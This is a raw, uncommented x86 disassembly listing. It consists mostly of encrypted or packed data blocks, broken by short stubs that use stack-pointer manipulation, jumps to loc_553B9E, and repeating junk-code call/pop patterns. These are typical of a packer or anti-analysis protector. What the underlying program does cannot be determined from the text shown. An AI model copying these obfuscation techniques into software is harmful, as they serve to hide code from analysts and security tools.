		dd 0E8D29E64h, 11A0D9Dh, 2A00F3FDh, 30FE98D8h, 0D9117E9Ah
		dd 44564328h, 215062B5h, 4D192Ah, 3F510000h, 0F9EE9DE6h
		dd 5D9083DCh, 154E38A3h, 73C2B766h, 44A26F7Ch, 7C51E4D9h
		dd 0FB66A26Fh, 7C969F04h, 0FF89A26Fh, 9CE53E0Ch, 0EC493EEDh
		dd 0D3A26F7Bh, 5D527168h, 0DD908278h, 0A13AD43Fh, 4F4614D3h
		dd 7E1Dh, 3FC69400h, 3FE84037h,	43F2A1EAh, 0EEE58F75h
		dd 45741989h, 412B9624h, 0BD5719E9h, 0C473FD05h, 0CDCBACDFh
		dd 9A405DD8h, 12F76228h, 160D1570h, 0F6833DBCh,	0F5852899h
		dd 9AD62C02h, 0B2FB5000h, 0A4CE3503h, 96511FBAh, 483FDAC4h
		dd 5AAC7A29h, 0A299341Eh, 6BF9923Dh, 0EA552Ah, 67165AA8h
		dd 150C4E99h, 2A1D37BBh, 0FBE075Ch, 45F8B51Ah, 710B7624h
		dd 13429D8h, 0B62899F7h, 56FC544Bh, 7D83B2A7h, 0C934226Fh
		dd 826C0AFBh, 65BAF0E7h, 7DAC897Eh, 0A813226Fh,	0CD1AE897h
		dd 7D3BFAEFh, 117C226Fh, 3BEA0900h, 0E4DB956Dh,	4180507Fh
		dd 0D988F324h, 8000352Ah, 4CB7289Dh, 5FA3FB55h,	10DE7711h
		dd 0FA957FF3h, 333DC503h, 0E8FFCA49h, 8B2C103Ah, 362D47BDh
		dd 9E6C2316h, 8B261068h, 7AC5694h, 208F79FFh, 0F50A07BBh
		dd 16273839h, 323EC47Ch, 56DFD483h, 6950BCB2h, 22A19FEh
		dd 4DB3268Dh, 62A4FC56h, 2ED42C16h, 5005842h, 0C5678771h
		dd 0A5BFB9D2h, 4A26DCB2h, 736817B0h, 50BD39C2h,	55938AF5h
		dd 8DD9C3ADh, 0Fh, 7D8856CBh, 0A6740FF9h, 912C165Eh, 37FB539Ah
		dd 69C1ABB1h, 95EDD799h, 0C61E0852h, 0F54D373Fh, 237B650Fh
		dd 51A993E1h, 81D9C3B5h, 0AE06F082h, 16311B53h,	815A5452h
		dd 4C2h, 4EA8300h, 5C241487h, 121068h, 240C8900h, 5E08950h
		dd 4, 42Dh, 24048700h, 2434895Ch, 422BF57h, 0F989062Eh
		dd 81243C8Bh, 4C4h, 348B5400h, 4C48124h, 51000000h, 6C45B850h
		dd 4429423Ch, 8F580424h, 46810846h, 3C6C4508h, 24348B42h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		db 0DAh
		dd 3F39B998h, 8CBD739Dh, 0B81E6F7Fh, 62E08D0h, 0E0FFC503h
		dd 6537B651h, 31BE5FD3h, 6E03885Ah, 6E855750h, 360B547Dh
		dd 6FCDF262h, 564AC8D7h, 15675D03h, 78A21270h, 3AEB71F8h
		dd 2396D3F2h, 1713E22Dh, 57685DFDh, 8AD9F8Fh, 795C76F0h
		dd 0B503C18Bh, 62A19DDh, 4EBh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0E7046AC3h
		dd 0EE81669Fh, 858D8E94h, 62A1911h, 0D572BE50h,	489688Bh
		dd 0CF816624h, 6A9A1Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0FC35747h, 0C8AFF110h, 418B22A6h, 34BD9589h
		dd 0B58B062Ah, 62A2831h, 0BD89006Ah, 62A24F9h, 0B3D858Dh
		dd 8166062Eh, 0F419EDFh, 0C083F1BFh, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0D27244AEh
		dd 56AD435Bh, 6870Fh, 0CF810000h, 30417DA4h, 33C4BE50h
		dd 489762Fh, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 712D7EEDh, 860F006Ah, 17h, 0CE8h
		dd 3FE22C00h, 353668CCh, 79E0778Ch, 0CE816619h,	8B5FF3FCh
		dd 2A0559B5h, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 5DAAC355h, 4EE81B58h
		dd 0EEA3BE8Ch, 0BE94427h, 88000000h, 7B4077ECh,	0D9A7FDD5h
		dd 95FF0CA3h, 62A1275h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0FC35343h, 669D8D37h,	8B062DB9h, 2A2865B5h
		dd 29D3FF06h, 2A2BD995h, 0C185FF06h, 60062A14h,	5158D8Bh
		dd 858B062Ah, 62A1211h,	814E961h, 0E80000h, 5D000000h
		dd 0B47ED81h, 6A062Eh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 1EFF9EC3h, 55F17664h, 24FDBD81h
		dd 7D0062Ah, 860F0000h,	126h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0D9C35141h,	0BE9182D3h, 0F921629h
		dd 1A319D8Bh, 0BD8B062Ah, 62A1505h, 100E381h, 0BF0F0000h
		dd 0FDB0BF9h, 0A785h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 2E975656h, 0D2126155h
		dd 9B6BD83h, 0F00062Eh,	4784h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 33683A44h
		dd 2A2BE1B5h, 5EE906h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0B5B6ABC3h, 9B685C7h
		dd 1062Eh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0ADFC48C3h, 0E9F57809h, 10h, 9B685C7h
		dd 62Eh, 85890000h, 62A0FE9h, 1A319D8Dh, 6A062Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0B70F55C3h, 0FF2381F9h, 0FFFFFFEh, 8C66FFB7h, 4C3F6DBh
		dd 2E840Fh, 8B660000h, 6D95FFFBh, 0E8062A18h, 0Ah, 0D1EC2261h
		dd 0EB15F3BFh, 0B58BD944h, 62A3349h, 800F505Eh,	5, 0EF2F2BFh
		dd 2404893Fh, 464E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0BB74DA96h, 0C3A37636h
		dd 41BD036Ah, 0B0062A2Ch, 6FBE6600h, 6A70E692h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 106C357h, 0B7102540h, 0B60F71E4h, 56006AD8h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 6BA32h, 0BD290000h
		dd 62A2CCDh, 0FB1BD8Bh,	0C38B062Ah, 0D5382ABFh,	4E8C145h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C1C35141h
		dd 66537C27h, 0D82BE2F7h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0BC35040h, 31FA9977h,	66E907DFh, 509A0FBEh
		dd 0D2EBBE66h, 0E9241C89h, 5, 556D4BF6h, 0FDB5FFAEh, 6A062A24h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 1D5BC356h, 7D0D4666h, 0E8D4B99Dh,	7, 0DE12B512h
		dd 0F176A4Eh, 685h, 0E9B52300h,	5E062A2Ah, 0F25B589h, 95FF062Ah
		dd 62A3439h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	67C35040h, 0FE563A7h, 1088h, 0BE900h, 96780000h
		dd 0A1A2A58h, 0F794A210h, 3300B0A9h, 2A2B85B5h,	6A70E606h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 8B9FC352h, 0F0BF0FACh, 6A71E4h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 92F890C3h
		dd 0A02DE7B2h, 89F86037h, 2A04F585h, 613C6106h,	293830Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 6A2BA0C3h, 6BAA8282h, 666FE0DDh, 0BC98C781h
		dd 9EDBD8Bh, 0B60F062Ah, 4BD781D8h, 0BA51346Eh,	6, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 22C35242h, 636F7A64h
		dd 44876ADh, 7985094Dh,	8B062A22h, 6AC38BF8h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0D2A6C351h, 0D0F2BF67h, 8B666333h, 4E8C1F1h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 98C35040h, 0CB7F4807h
		dd 0F76651B5h, 53006AE2h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 6890FDBh, 81000000h, 397F5DDEh
		dd 5EBF6610h, 66D82B52h, 284BEF81h, 850Fh, 6A580000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 8D01C350h, 34018D31h, 0D82B062Ah, 173880Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 7763D9C3h, 3AE1C61h,	0B911DBF9h, 7, 83F8B70Fh, 6A00C1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 46CC1DC3h, 2B7C3C9Bh, 2A2C85B5h, 0FD93B06h, 11486h
		dd 2DC68100h, 666550DCh, 8529D98Ch, 62A07D1h, 0F04C1F6h
		dd 0F484h, 7E900h, 1F180000h, 0E4D73DFEh, 6D95FF8Bh, 6A062A18h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 9A5CC355h, 60BDBF3Bh, 14E960h, 6A040000h
		dd 0A3159B65h, 6B673768h, 0E4FD8098h, 8FD7C39h,	0BF0F22BAh
		dd 8D8961D1h, 62A3275h,	5BD8B5Bh, 57062A1Ah, 13800Fh, 0DE80000h
		dd 29000000h, 0CFEECB62h, 0FA5806F0h, 0F42B6AEAh, 0C32B5E5Eh
		dd 8343DF8h, 860F0000h,	6Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0FBC35747h,	3FF30996h, 84F30017h
		dd 12E9B8h, 39BC0000h, 0B92185E4h, 0C1532D40h, 12F07BFDh
		dd 1A67000Bh, 34E9h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 4E2FFE81h, 850FE9h, 8B000000h
		dd 2A2B85BDh, 29C08B06h, 2A23198Dh, 8BC38B06h, 57006AD8h
		dd 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0FB10F3Bh, 682h, 29B58900h
		dd 0C7062A11h, 2A167D85h, 7187D306h, 50006A3Ah,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0B3A39FAh
		dd 0FBF78166h, 11E97Fh,	48260000h, 0CAA12254h, 8BB10F3Bh
		dd 23C1412Eh, 663EE046h, 8BD231BEh, 0D1BD8BC0h,	81062A12h
		dd 2A24FDBDh, 7D006h, 2C850F00h, 66000000h, 859BEF81h
		dd 24FD85FFh, 6A062Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 7C978C3h, 0FFB5A2A3h, 2A24FDB5h
		dd 9B58B06h, 29062A0Dh,	2A2649BDh, 3995FF06h, 6A062A34h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 9DE0C351h, 95C45D7Eh, 6115A1A7h, 14EF8166h
		dd 0B70F904Ch, 53006AFBh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 70B97194h, 89AE259Eh
		dd 2A0A41BDh, 4EE78106h, 0F1553B3h, 6AF1B7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 987362C3h
		dd 58EE4AF8h, 6AA239D2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0C522C357h,	168F0F78h
		dd 0E9000000h, 0Bh, 6C0AEE8Ch, 0D045AC2Fh, 0B161E21h, 2A27E1B5h
		dd 51958906h, 0F062A0Dh, 687h, 1BD8B00h, 33062A11h, 2A2681BDh
		dd 91B58B06h, 6A062A07h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 1555C355h, 93B167FDh
		dd 6A75D182h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8972C353h, 2A06BDB5h, 0FBB70F06h
		dd 14BDB529h, 0F7E9062Ah, 57FFFFF7h, 5FF08B66h,	27ED8529h
		dd 1EE9062Ah, 70000000h, 6D5ED4h, 6 dup(0)
		dd 4F8E900h, 2FB90000h,	26DB932Dh, 0DF6AE48h, 0F313CB65h
		dd 0D133EB85h, 632D09A3h, 0B54F25DFh, 0D46E08FDh, 0F58FCB1Ch
		dd 11ABC53Dh, 181D122Bh, 9F289D90h, 0CB373A0Ah,	7D231207h
		dd 2994226Fh, 2ED62E18h, 7D82B3A8h, 9969226Fh, 596AD5D7h
		dd 75FB07BFh, 0A1CF338Bh, 0CCA25FB7h, 2D20C2E2h, 2BC5AB57h
		dd 47EEE392h, 78226F7Dh, 0FD8160Dh, 4A18B14Bh, 36D1BBBBh
		dd 74E6013Fh, 0A3D3328Ah, 0CEA061B9h, 0FB778CE4h, 80738D11h
		dd 60536D67h, 29DEC4A9h, 8C70EB2Fh, 0CA905795h,	229A4D1Bh
		dd 6F9B082Dh, 3344AF22h, 0ADB7AE49h, 79630DF5h,	6F9B40FAh
		dd 2751B522h, 521CE53Dh, 0D7CAE468h, 49DFD0EAh,	14254086h
		dd 1A06F921h, 0D2E73CB0h, 40D12D12h, 0B8B9FDCEh, 6AB0C1h
		dd 53210000h, 71C9C0AEh, 0BBA5CB37h, 6B3E9D82h,	5B85681h
		dd 5392A90Eh, 143C2270h, 669C6A21h, 8E85200Ah, 0E7E3903Ah
		dd 140D2h, 37780000h, 81BAA4CAh, 7D58DDD2h, 0F45F226Fh
		dd 2C42BFFDh, 655A0942h, 226F7CD0h, 47857CE7h, 77CFB9BFh
		dd 0A5FDE78Dh, 0FF2B155Fh, 0D3698275h, 99683E31h, 0AB5826D5h
		dd 0EC6D0C7h, 10E27CF4h, 1409CD37h, 226F7D21h, 301A2B96h
		dd 5B4529D8h, 19D0C3CDh, 0D0BAB84Bh, 0A4918635h, 1B226F7Dh
		dd 897BB9B0h, 699951EBh, 3EC51D07h, 0BFEF4A34h,	7FAE0CCh
		dd 67F6D2E7h, 2E000000h, 0BDA7CD37h, 0EAD49E65h, 5F3528CAh
		dd 9C35CFA5h, 94B81FB7h, 0FAF18C50h, 422C48BCh,	639F1CEAh
		dd 0A388230Dh, 9A797E4h, 0DE8D9E00h, 8980F410h,	0B1A4D42Fh
		dd 0E79815C5h, 6ADBD2h,	56130000h, 32573571h, 0E05B6B8h
		dd 914034D0h, 0E46DF9ACh, 0C1B80D69h, 82D80F67h, 0CABD4D98h
		dd 0B56410F4h, 5E551BE7h, 88568254h, 0C1FFF67Ah, 0B442E40h
		dd 7CCE675Ch, 86F1226Fh, 7D570AA1h, 0DED5473Eh,	6FA4C179h
		dd 0F2E50D22h, 5511563Bh, 7D670DF7h, 0D07FDE2h,	2FD74678h
		dd 7F90A3E7h, 0F8963488h, 13AD2E7h, 72000000h, 0BCA6CC37h
		dd 0E8D29E64h, 81574A64h, 0C95B1C82h, 22D26358h, 7AE52270h
		dd 64241F95h, 0B409B953h, 83C7BC6Bh, 3C2445A4h,	738FE7D1h
		dd 0ACEAEB29h, 0E1F261BFh, 21E0AE47h, 0D1C8634Dh, 17016F93h
		dd 998BA398h, 0DACD5D28h, 7F43E23h, 6F5420E4h, 857C4DBBh
		dd 1BB5BB47h, 0E7D19F63h, 0AB29738Fh, 74020374h, 550AEF8Ah
		dd 1D07180Ch, 0BC92858Fh, 0C2902A46h, 0D9117108h, 12BC8h
		dd 0EA3F0000h, 0EDFDF2A1h, 0B2244559h, 75245D47h, 99A2B580h
		dd 0A89F0A28h, 3ED8986Ah, 0AF47C86h, 362050B2h,	0D5AB9EA8h
		dd 0DBA9432Dh, 0D91132EFh, 63E1h, 0A7561900h, 6F7D83B2h
		dd 0F80C3422h, 3E746B7Ch, 2C09FEE5h, 0C7226F7Dh, 0B34E383Eh
		dd 863546B1h, 0C84328D7h, 85104383h, 875BDACFh,	0F15C226Fh
		dd 8E4095FAh, 8CF75D90h, 721223A2h, 7B05A26Fh, 1861BA88h
		dd 78617469h, 0AB16DD90h, 0A66511h, 2DDC0000h, 6F86FD38h
		dd 7257C222h, 9C1F214Ah, 6CC4BBC0h, 0F2A1EA3Fh,	0C532DA0Dh
		dd 0BAB1E2F2h, 20FCA69Bh, 3A082446h, 44B6ADADh,	6B97EFD9h
		dd 0EDD26B05h, 0D361DE9h, 83C1B8B4h, 8807F17Fh,	289A3838h
		dd 7FCAB3Ah, 289A382Eh,	343640C5h, 0BFB2D2C9h, 0BD5719E9h
		dd 299BB80Dh, 0E7392BBh, 0D6C09A4Dh, 6A192A3Bh,	6BCFEF75h
		dd 5B45B02Ah, 24D3FF03h, 73F0062Fh, 594EB922h, 2273EFDCh
		dd 5BAA78E3h, 9C200A1Bh, 0AD88F82h, 96967BFBh, 0BFC1DB50h
		dd 8CE1170Eh, 0C59F9443h, 7E24463Fh, 12E07913h,	338B82F2h
		dd 0F2A1EA3Fh, 417067FDh, 0D3BD2824h, 4FE9877Bh, 72676B97h
		dd 289D8FC3h, 0E5DA89F4h, 289D9050h, 1EBFC67h, 4DC42A82h
		dd 7265074Fh, 700A669Ch, 3C264AB8h, 0A75622E4h,	51482AD9h
		dd 665973F7h, 64FE7290h, 6B1A56ACh, 210B659Dh, 293A3CC9h
		dd 38CD832h, 0CA000000h, 0B137D62Eh, 9969C1ABh,	5295EDD7h
		dd 3FC61E08h, 0FF54D37h, 0E1237B65h, 0B551A993h, 8281D9C3h
		dd 53AE06F0h, 5216311Bh, 0B850E289h, 4,	8358C201h, 148704EAh
		dd 1C685C24h, 89000047h, 0D6682434h, 89000049h,	0A3BE241Ch
		dd 0C1598B7Ch, 0C68106E6h, 0BAB12C4h, 0AE1BA52h, 0EAC126D6h
		dd 81D2F706h, 254127CAh, 0A7C28113h, 81217677h,	0EA5F71E2h
		dd 0EAC2817Bh, 3147DBC9h, 76685AD6h, 89000008h,	4832424h
		dd 575B0424h, 24348156h, 55C60BDBh, 0DBF7815Fh,	8955C60Bh
		dd 8B5F087Bh, 8950241Ch, 405E0h, 4050000h, 87000000h, 8B5C2404h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		db 0B7h
		dd 50A477B0h, 0CBB8D947h, 3062E17h, 0CE0FFC5h, 786771E3h
		dd 1C5B80A5h, 0D707FABDh, 0D5B3DDAh, 47AE353h, 70524544h
		dd 0F30A9AB5h, 0F401BC7Ah, 0ED644BC6h, 0C934A478h, 622CC129h
		dd 2B03E496h, 0AC590434h, 0C178C776h, 0E070537Ch, 235E923Ch
		dd 571659FAh, 0AC691495h, 4D00C072h, 944A64F0h,	0C86ECE94h
		dd 1549A0BDh, 0F203AC84h, 0C87933AAh, 8B463D07h, 0AED781C1h
		dd 6670E7D5h, 4EBF18Bh,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0B4C35646h
		dd 97597542h, 8F83BFBBh, 0F88B31ADh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 2CC35646h, 38EF120Ch, 8BB0BB8Eh
		dd 2A0D11B5h, 11858D06h, 8B062A19h, 14E850FEh, 3C000000h
		dd 0D318D640h, 0FD8D2F53h, 6701972Fh, 7866BC5h,	8B0F6F16h
		dd 4895EF8h, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0E40734AFh, 0B6FFC6BBh, 0BF663891h
		dd 6A2931h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 1Dh,	9EC35343h, 36D2EF4Ch, 5216F03Fh, 0E9006A89h, 0Fh
		dd 0B90A5D3Ch, 10CD1DBh, 2F7F4C0Eh, 0FC8F2539h,	1A9E858Dh
		dd 8D0F062Eh, 0
		dd 6A05C083h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 16FDC351h, 8DCA4B85h, 8B84546Ah
		dd 2A0589BDh, 318D8906h, 50062A05h, 300547BFh, 2404894Fh
		dd 1006AF8h, 2A198995h,	23006A06h, 2A2589B5h, 7595FF06h
		dd 0E9062A12h, 12h, 1E022442h, 0C7BDE4B1h, 0F82BBEAAh
		dd 1644C267h, 9D8D007Eh, 62DB966h, 4311BF66h, 6AD3FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 85FF4CC3h, 62A14C1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 76C35545h, 699ECC35h,	15259D09h, 0CE9062Ah
		dd 0E8000008h, 0
		dd 0A8ED815Dh, 6A062E1Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0D79C356h, 7E68E4E6h
		dd 819D8962h, 81062A29h, 2A24FDBDh, 7D006h, 7860F00h, 0E9000001h
		dd 0Fh,	0D015B6CBh, 77219BD1h, 0DAA33F5Fh, 8B97343Fh, 2A10C19Dh
		dd 1DB58906h, 0E9062A11h, 8, 8F39E9B7h,	0C7362AFCh, 100E381h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 34F330C3h, 6615C13Bh, 0C4C2EF81h,	0BF2BF0Fh
		dd 73850FDBh, 0E8000000h, 0Bh, 0E8F95EB5h, 0CAD46E0Ch
		dd 5E974BF0h, 18F0BD83h, 0F00062Eh, 1784h, 6840F00h, 89000000h
		dd 2A2DBD8Dh, 5EE906h, 0E6810000h, 7FFE61B4h, 18F085C7h
		dd 1062Eh, 860F0000h, 5, 0D63FD0BEh, 3EE96Eh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 542EB4C3h, 0CE816638h, 85C7E857h, 62E18F0h, 0
		dd 0BE9h, 0A04AA200h, 58EFB22Ah, 0ECAFD51Dh, 10C19D8Dh
		dd 81F5062Ah, 0FFFEFF23h, 3820FFFh, 66000000h, 8C66FB8Bh
		dd 52006ADBh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0E1CB9BD3h, 0C3D6817Ah, 0F64265D9h, 840F04C3h
		dd 4Dh,	186D95FFh, 8B60062Ah, 2A0ED595h, 61DA8B06h, 10E950h
		dd 8DFD0000h, 5C34F6D3h, 0A55B9C1Bh, 45B67BCBh,	489EAC2h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 1E974620h, 0AADAC40Ch, 471E953h,	6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0D052C7C3h, 6EB86D94h, 0B05F5268h, 0BD896000h, 62A14FDh
		dd 5E9h, 80EC6300h, 0E6614481h,	99952970h, 0E4062A09h
		dd 56006A71h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 5D1C9E89h, 0BD893CAAh, 62A0CB1h,	6810Fh
		dd 9D890000h, 62A19D5h,	6AD8B60Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 414FC350h
		dd 6CBD1310h, 24CFC288h, 8C0F60h, 0B8000000h, 16AE31E2h
		dd 6BA61h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 69586BC3h, 0C642971Ah, 0BE378950h
		dd 0ACD0EDBh, 0DE8h, 563DF700h,	1622732Ch, 4E53849Ch, 5EF97385h
		dd 0BD89C38Bh, 62A14B1h, 0BE9h,	3BD0800h, 0D3B4DA56h, 94328FCFh
		dd 6A04E8C1h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 40FBC352h, 7A7FD781h, 0D6814847h
		dd 4CD20E7Ah, 6AE2F766h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 7274C351h, 0FE950h
		dd 705E0000h, 67B7C1CDh, 4990AEEBh, 4A818E1Eh, 7E85ECDh
		dd 61000000h, 8EE85B81h, 0F68167EBh, 50DAA430h,	52D82B5Eh
		dd 0B58B5FF5h, 62A2E21h, 0F479BE50h, 1C89120Dh,	52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 5C7EE93h, 0E7AED871h, 0F56D819h, 683h, 31B58B00h, 5E062A19h
		dd 24FDB5FFh, 95FF062Ah, 62A3439h, 0CE9h, 11896200h, 0D3CD1A7Fh
		dd 0A9F6FE36h, 100B011h, 2A1B8D95h, 6A70E606h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 5827C357h, 71E472E5h, 0A19D8960h, 8B062A06h,	2A2501BDh
		dd 613C6106h, 251830Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 9CE869C3h, 284FB496h
		dd 0B60FA9C8h, 0E68166D8h, 6BA9B0Bh, 66000000h,	0C38BF18Bh
		dd 68A0Fh, 0BD8B0000h, 62A22E1h, 0F04E8C1h, 0F766F0BFh
		dd 99BD8BE2h, 51062A18h, 1259BD0Bh, 2B5E062Ah, 55006AD8h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 9457BB83h, 3800Fh, 0B70F0000h, 6A58F6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 60604BC3h
		dd 60E2ED80h, 8B666161h, 0D82B61CBh, 19D880Fh, 51600000h
		dd 96F18158h, 6136E266h, 7B9h, 9D895600h, 62A3239h, 0C1835Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C8C35545h
		dd 968DBE34h, 89FA475Bh, 2A102DBDh, 55BF6606h, 8B666081h
		dd 32D080CFh, 0FD93B61h, 14686h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 50B1E4F5h
		dd 0BE9h, 500C4A00h, 62DFA61Fh,	99169F1h, 0D98C665Eh, 5880Fh
		dd 28BE0000h, 0F632D095h, 840F04C1h, 0F1h, 11E9h, 1F6C1A00h
		dd 0F1080A22h, 6F4817B7h, 219241C1h, 0BD8918C8h, 62A2B59h
		dd 186D95FFh, 6A062Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 800FC2C3h, 4, 1426BF66h,	50006A5Bh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 2F5534F5h, 0A40981BFh, 11E932h, 80620000h, 74549A67h
		dd 0E496CC4Dh, 58AF858h, 2B175B06h, 55006AC3h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0C88FC553h
		dd 78FEE006h, 6870Fh, 0BD8B0000h, 62A0721h, 8343Dh, 32860F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0D0E3C351h, 80FE38BFh,	0F0182E3h
		dd 14E9F3BFh, 89000000h, 2A1021B5h, 8BC08B06h, 2A2C0DB5h
		dd 45B50B06h, 8B062A30h, 0E9D88BC3h, 0Fh, 0B8CBC42Bh, 0FE144D2Ch
		dd 8333C244h, 6067DE1Dh, 32898589h, 8B56062Ah, 2A1971B5h
		dd 0C7615806h, 2A1A3185h, 2695706h, 5E83Dh, 0ABCC0000h
		dd 5EDC82B4h, 9589C08Bh, 62A1209h, 6850Fh, 0B5890000h
		dd 62A1A25h, 24FDBD81h,	7D0062Ah, 850F0000h, 0Eh, 0FFFBB70Fh
		dd 2A24FD85h, 0A52ABE06h, 0B5FF1A43h, 62A24FDh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 70C35747h, 6008CA7Ch
		dd 2379B58Bh, 8D03062Ah, 62A1A05h, 81665261h, 5E5C8DEFh
		dd 343995FFh, 8990062Ah, 2A2D71BDh, 0A1B58B06h,	6A062A23h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 5C9CC357h, 0F2B70FE3h, 27A1BD03h,	8E0F062Ah
		dd 1, 0C88160F9h, 5C0C07E2h, 13E8h, 1F276A00h, 2FB81437h
